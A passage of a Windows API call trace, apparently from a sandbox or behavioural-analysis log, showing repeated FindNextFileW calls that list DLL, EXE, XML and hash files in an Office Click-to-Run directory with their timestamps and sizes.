ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0053.627] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0053.627] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0053.627] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0053.627] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0053.627] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0053.628] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0053.628] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0053.628] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0053.628] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0053.628] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0053.628] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb979f700, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x27c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApiClient.dll", cAlternateFileName="APICLI~1.DLL")) returned 1 [0053.628] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9bc01200, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xa02d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVCatalog.dll", cAlternateFileName="APPVCA~1.DLL")) returned 1 [0053.628] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1f5ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="appvcleaner.exe", cAlternateFileName="APPVCL~1.EXE")) returned 1 [0053.628] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x4b0d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVFileSystemMetadata.dll", cAlternateFileName="APPVFI~1.DLL")) returned 1 [0053.628] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x2052d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIntegration.dll", cAlternateFileName="APPVIN~1.DLL")) returned 1 [0053.628] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a59305, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a59305, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x726d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvApi.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0053.629] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe1b7300, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x60ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0053.629] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb5e67000, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x73aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~3.DLL")) returned 1 [0053.629] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x336d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvStreamingManager.dll", cAlternateFileName="APPVIS~4.DLL")) returned 1 [0053.629] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1566d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvSubsystemController.dll", cAlternateFileName="AP213A~1.DLL")) returned 1 [0053.629] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x18d60800, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x1ae0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="AP3342~1.DLL")) returned 1 [0053.629] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80acba0b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80acba0b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbbdc5100, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x22e0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="AP4400~1.DLL")) returned 1 [0053.629] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x8a8d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvVirtualization.dll", cAlternateFileName="AP485B~1.DLL")) returned 1 [0053.629] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x12cad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVManifest.dll", cAlternateFileName="APPVMA~1.DLL")) returned 1 [0053.672] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xe76d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVOrchestration.dll", cAlternateFileName="APPVOR~1.DLL")) returned 1 [0053.672] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x13c4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVPolicy.dll", cAlternateFileName="APPVPO~1.DLL")) returned 1 [0053.672] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x7d0d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVScripting.dll", cAlternateFileName="APPVSC~1.DLL")) returned 1 [0053.672] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x406d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVShNotify.exe", cAlternateFileName="APPVSH~1.EXE")) returned 1 [0053.672] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x14115400, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0xc84c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1 [0053.672] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb4b54300, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x127260, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1 [0053.672] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8ee04f00, ftLastWriteTime.dwHighDateTime=0x1d0d67f, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RHeartbeatConfig.xml", cAlternateFileName="C2RHEA~1.XML")) returned 1 [0053.673] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb3841600, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xdc4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RUI.en-us.dll", cAlternateFileName="C2RUIE~1.DLL")) returned 1 [0053.673] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0053.673] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd783a00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="i640.hash", cAlternateFileName="I640~1.HAS")) returned 1 [0053.673] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbc470d00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="i641033.hash", cAlternateFileName="I64103~1.HAS")) returned 1 [0053.673] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IntegratedOffice.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0053.673] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa2e72000, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x578d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MavInject32.exe", cAlternateFileName="MAVINJ~1.EXE")) returned 1 [0053.673] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8745c00, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x2ffa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso20win32client.dll", cAlternateFileName="MSO20W~1.DLL")) returned 1 [0053.673] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bb0837, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bb0837, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xad6b600, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x475e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso30win32client.dll", cAlternateFileName="MSO30W~1.DLL")) returned 1 [0053.673] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfccf1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bfccf1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x307ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso40uires.dll", cAlternateFileName="MSO40U~1.DLL")) returned 1 [0053.673] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c22f4a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c22f4a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x10cc9700, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x8e6060, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso40uiwin32client.dll", cAlternateFileName="MSO40U~2.DLL")) returned 1 [0053.673] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x11fdc400, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0xee60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msointl30.en-us.dll", cAlternateFileName="MSOINT~1.DLL")) returned 1 [0053.673] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c9565a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c9565a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1909ea00, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0053.673] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0053.674] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c4400, 